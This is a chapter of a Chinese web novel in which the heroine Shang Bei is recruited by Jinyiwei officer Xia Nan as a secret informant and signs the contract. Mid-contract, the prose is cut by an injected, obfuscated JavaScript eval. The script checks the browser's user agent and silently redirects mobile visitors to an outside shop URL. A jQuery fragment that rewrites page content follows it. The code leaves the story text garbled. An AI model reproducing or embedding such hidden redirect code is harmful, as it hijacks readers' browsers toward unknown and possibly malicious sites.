为了避免招惹卫渎，尚蓓牢记夏楠的叮嘱，厚着脸皮在国师府蹲了一下午。她饶有兴致地看寅时和卯月摆弄一堆珍稀药草，尝试徒手捕捉菜粉蝶失败，又到后院那据传有利于感悟天地灵气的灵泉溜了一圈。挺好看的，别的没什么稀奇。
饶是尚蓓不通武艺，也感觉这地方防守很是稀松，许多守卫看着就是普通壮仆。她算是明白夏楠那天为什么敢说带她溜进来了。尚蓓实在忍不住，好奇地问：“为何国师府不多添几个守卫？不怕有人偷丹吗？。”
寅时轻嗤一声：“那他也得有这个胆子承受报应。”
尚蓓哦了一声，懂了。
这半日下来，她也听了不少国师的事迹。又是肃清邪道，整顿道门风气，又是广施灵药，救治疫区百姓。十年了，大周对这位国师的信仰已然登峰造极，大概普通人不会有胆冒犯这么一个活神仙。
何况国师不涉政事，皇亲重臣也都敬着她。这位老乡显然有自己的一套处世之道，只稍拿捏好显露那些灵丹妙药的分寸，便可安然当个庙堂仙人。
眼看着天色渐晚，尚蓓正琢磨着要不要在国师府蹭饭，夏楠终于出现在国师府外。他一身玄衣未改，鬓发微乱，似是才寻了个空挡匆匆出宫。
“这几日京城恐不太平，委屈道长仍暂住我府上，待诸事稍定，我送你回邱城。”
尚蓓从善如流地应下，骑上红枣，随他回了夏府。夏楠只将她送到门口，便告罪一声匆匆离去。管家接过他的话把，凑上来慰问一番，引着尚蓓回到客院。
再次踏入熟悉的院门，尚蓓愣了一下。
靠墙围了半丈花篱，里面种着几株绣球，粉粉蓝蓝的花朵挤挤挨挨簇作一团，又被夕阳染上一层暖融融的光晕，婉婉约约可可爱爱，给这小院添了不少生气。尚蓓不禁有些惊喜，凑近嗅嗅又嗅嗅。
管家适时笑道：“道长前些日子说这院子冷清，夏大人便吩咐我看着栽些花草。在下也不知道您喜欢什么，就随便种了些，您看合不合心意？”
尚蓓回身笑答：“劳你费心，替我谢过夏大人。”
二人又寒暄几句，管家便为她端来了晚膳。尚蓓吃饱喝足，在院子里溜达了一圈消食，又去后院马厩瞧了瞧自己的枣红骏马——她名之为红枣。
回京大半日，红枣已然被管马小厮收拾得干干净净。见她来，那枣红骏马亲昵地蹭了蹭她的手。尚蓓接过小厮递来的萝卜条，亲自喂了些，听它嘎嘣嘎嘣地嚼着，甚是解压。
喂完红枣，她又去看另一间马厩的大白马，白雪。白雪已然褪去了初见时那副狼狈样，毛发雪白，四肢颀长，肌肉紧实，眼神明亮。尚蓓远远隔着它一丈站定，见它孤零零地拴在石栏中，鞍上还捆着粗麻绳，心中不禁有些惋惜。
她试着向白雪隔空丢了条萝卜。白雪一甩脑袋敏捷叼住，嘎嘣嘎嘣嚼了进去，还冲她眨了眨眼，撩得尚蓓小心肝一阵乱颤。
宝贝，不是我不想带你玩，是系统不让啊！
尚蓓叹了口气。她将意识投向系统，看了看信誉分：1230分。距离宝马的骑乘权限还差270分。
大周各地的打拐行动已经进入尾声，她现在很少能听见10分10分的增值了。不过，跟着夏楠跑这趟案子一个月，她以各种名义涨了五百分。抛开赶路的时间来看，真实行动的时间也就是三五天，效率相当高。
虽然累点儿。
到现在来看，帮人寻亲的那十分，显得倒可有可无了。但能用系统行些举手之劳，何乐而不为呢？只是她若长年跟着案子跑腿，就没法稳定摆摊处理这些琐碎的委托。
或许该寻个帮手，助她汇总和筛选，最大程度上兼顾不同需求。
尚蓓看着夕阳渐沉，心中渐渐打起思量。
把一篮子萝卜条喂完，尚蓓洗洗手，慢悠悠走回客院，又仔仔细细沐浴一番，而后——睡觉！
尚蓓一觉睡到巳时，才磨磨蹭蹭起身。刚梳洗用过早膳，便听门外通报声。她整理了一番衣着推门出屋，见夏楠正站在院门口，一身石青曳撒，肩绣麒麟，腰佩绣春刀，刀鞘螺钿磷光闪闪。
乍看这一身打扮，分明与往日无异，但尚蓓却觉得哪儿不太一样。她也说不出哪儿不太一样，就隐约觉得，夏楠今日，似乎，更清爽些？
“夏大人这么早来，可是施州案有什么变数？”尚蓓拱了下手，神情紧张。
她毕竟也才起床，没关注夏楠的轨迹，只是琢磨着这时辰大约是刚下朝。考虑到夏楠一向是个工作狂，一下朝就急着往家跑必然是有大事。
“我告了两日假，陛下许我仔细养伤。”夏楠大步迈进院，视线扫过院中绣球，眉眼微舒，“道长昨夜歇得可好？”
尚蓓惊得瞪大了眼睛。
告假？养伤？这还是她认识的那个夏楠吗？
“有劳夏大人挂心，贫道歇得甚好。”尚蓓侧身让开半步，引他入内，斟酌着问出声，“施州的案子……”
听出她话外音，夏楠心底微哂。
“道长莫急。卫指挥使已经把廖虎审了个干净，剩下些从犯，本也不值得我出手。今日来寻道长，另有要务相商。”
他迈进几步，随尚蓓在正屋坐下。尚蓓这回当真有些好奇，随手给他沏了杯茶。
“可是有什么新案子需要我帮忙？”
夏楠似笑非笑地看了她一眼。
“道长如今倒是比我还勤快了。”
尚蓓一噎，随即讪讪地挠了挠耳朵。
“我……这不是想悟道吗。”
夏楠轻笑一声，也不多卖关子，从怀中先摸出一沓银票：“这是指挥使亲批的赏银，以酬谢道长助北镇抚司破获大案。”
尚蓓嚯了一声，接过银票点了点。一百两，虽不及千两之富，对这个时代而言也是一笔可观的银钱。
“还有新案子吗？”她眼睛亮亮。
夏楠眉梢微挑，又摸出一张文书，轻置案上。
“本官亦有心与道长长期合作。既然道长也有意愿，不妨考虑一下此契。”
尚蓓见他面容郑重，便也收敛神色，展开文书。只见上头写着：
————————————
【大周锦衣卫隐番聘约】
兹有布衣-尚蓓-，行为端
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615921|204329||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
方，忠勇机敏，身负观微知著之能，着素衣而可助锦事，居江湖而可协庙堂，卫甚重之。今特依《大周锦衣卫律》之九“征辟贤能”一条，聘以隐番之职，协理卫所事。特遣镇抚使-夏楠-为联络秘使，联而用之。
职权：不列卫籍，不著公服，自匿踪迹，生活一同往常。平日多观江湖动向，若有异情，则上报秘使。遇卫所密召，则依令协事，助捕奸宄。
密律：此聘约仅指挥使-卫渎-、联络秘使-夏楠-、受聘人-尚蓓-知晓，卫中他人皆不知悉。隐番仅受联络秘使征调，卫中他人皆无权过问。受聘人亦需自掩职身，非特情不得告予他人。若使泄露，自负其咎。
利惠：月给俸银十两，按季发放，由秘使给付，协事后另论功赏。另赠玄符令牌一块，遇特情时可以证身。若涉讼狱，持符示于各地卫所，可行便宜之法。遭危难，凭此寻卫所，亦可护周全。然泄露隐番之身，亦需斟酌。
编号：丙午甲午丁巳辛亥
锦衣卫指挥使[钤指挥使印]
联络秘使[指印]
隐番[------]
————————————
尚蓓费了半天劲，才看懂这堆竖排繁体文言文。大意是说，锦衣卫聘她为民间暗线，即为“隐番”，身份只有卫渎、夏楠和她三人知晓，且她只需对夏楠这个对口的“秘使”负责，非紧急情况不得泄露自己身份。
她平时可以照常生活，但在锦衣卫召令时需要协助案件。同时，锦衣卫也会给她提供支持。除了多一笔月俸，还有一块令牌，遇紧急情况可以凭它寻求锦衣卫帮助，主要包括人身安全和法律特赦两方面。
尚蓓思量许久，抬起头问他：“我不签这个契，就不能同你合作了吗？”
夏楠拿出令牌搁在案上，沉声道：“自然也能。但若无卫所之名，我便只能以私人名义请你帮忙，无法名正言顺地保你。特别是作为外人，你本无权参与卫所事务，若不慎涉及机要，难免遭清算灭口。”
尚蓓点点那聘书末尾卫渎的钤印：“卫大人也同意这事？”
夏楠颔首：“不错，卫大人已经点头批下了。有这层身份在，你便直接受我调遣，他要动你，需先过我这条线。卫大人忌讳能人异士不假，但只要你不违逆征召，不明着对抗锦衣卫，他拿不到你什么把柄，也犯不着为此同我翻脸。”
这正是她最关心的。尚蓓抬眼直视他，问：“那如果我不想应某些征召呢？”
夏楠微微勾唇：“你不想应召，直接同我说，我考虑要怎么说服你。不过，我答应过你，无论如何，不会拿你下狱。”
尚蓓想说你的保证没有法律效力，但转念一想，这张纸的解释权本也只在锦衣卫。她签不签，都不影响她同夏楠跑案子，或者拉扯些愿不愿意的细节。只是签了，夏楠多个由头护她。
想清楚这一层，她便也爽快画了押。
“那么，往后就请夏大人多多指教了。”
夏楠面上一松，随即从袖中取出那枚玄铁令牌推到她面前。
“这是你的令牌。你收好，莫要让旁人知晓。”